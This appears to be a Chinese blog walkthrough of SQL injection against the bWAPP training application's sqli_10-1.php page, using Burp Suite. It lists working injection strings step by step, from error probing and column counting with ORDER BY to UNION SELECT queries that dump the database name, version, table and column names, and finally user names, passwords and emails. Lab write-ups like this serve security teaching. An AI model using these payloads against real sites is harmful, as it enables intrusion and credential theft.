SQL注入之bWAPP之sqli_10-1.php

SQL注入(AJAX/JSON/jQuery),需要知道ajax的作用,之前Google后,大概就流程是:当前页提交的数据会先到ajax进行处理,然后在传到服务器。这就需要使用burpsuit,可以看到抓包内容的referer项是当前网页提交的内容,GET头提交的是ajax处理后要发往服务器请求。大致是这样,如果有什么不对,请指出,以免我误导他人,谢谢。

接下来开始注入了。

1、打开burpsuit,在浏览器里搜索框中输入1,然后提交,抓住数据包。结果如图:
SQL注入之bWAPP之sqli_10-1.php|软件工程师@钟江华 1
2、在数据包头的URI部分输入“title=1‘”,然后发送,结果如图:
SQL注入之bWAPP之sqli_10-1.php|软件工程师@钟江华 2
SQL注入之bWAPP之sqli_10-1.php|软件工程师@钟江华 3
然后发送到Repeater。
3、判断是什么类型注入
先输入“title=1%‘and‘%‘=‘”,发现返回数据没有报错,把“1”换成“i”,发现返回正常数据;因为钢铁侠(iron man)有“i”,所以可以正常返回。结果如图:
SQL注入之bWAPP之sqli_10-1.php|软件工程师@钟江华 4

4、判断字段数:
输入“title=1%‘+order+by+7+–+”,返回正常;输入“title=1%‘+order+by+8+–+”,返回错误;burpsuit的空格需要用“+”表示。结果如下图:
SQL注入之bWAPP之sqli_10-1.php|软件工程师@钟江华 5
SQL注入之bWAPP之sqli_10-1.php|软件工程师@钟江华 6

查看一下,输入“title=1%‘union+select+1,2,3,4,5,6,7+–+”,结果如图:
SQL注入之bWAPP之sqli_10-1.php|软件工程师@钟江华 7

5、查询数据库等信息:
输入“title=1%‘union+select+1,2,3,4,5,6,group_concat(database(),"||",version(),"||",user())+–+”,查询数据库名、数据库版本、当前用户,结果如图:
SQL注入之bWAPP之sqli_10-1.php|软件工程师@钟江华 8

数据库名为“bwapp”,数据库版本“5.5.53”,当前用户“root@localhost”。
6、查询表名:
输入“title=1%‘union+select+1,2,3,4,5,6,table_name+from+information_schema.tables+where+table_schema=‘bwapp‘+–+”,发现较重要的表名为users。结果如图:
SQL注入之bWAPP之sqli_10-1.php|软件工程师@钟江华 9

7、查询字段名:
输入“title=1%‘union+select+1,2,3,4,5,6,column_name+from+information_schema.columns+where+table_name=‘users‘+–+”,发现较重要的字段名有“admin、password、email”,结果如图:
SQL注入之bWAPP之sqli_10-1.php|软件工程师@钟江华 10

8、查询字段内容:
输入“title=1%‘union+select+1,2,3,4,5,6,group_concat(admin,"||",password,"||",email)+from+users+–+”,结果如图:
SQL注入之bWAPP之sqli_10-1.php|软件工程师@钟江华 11

好像讲的很简单,有什么问题可以一起讨论啊。

SQL注入之bWAPP之sqli_10-1.php

原文地址:http://blog.51cto.com/13577444/2092147

为您推荐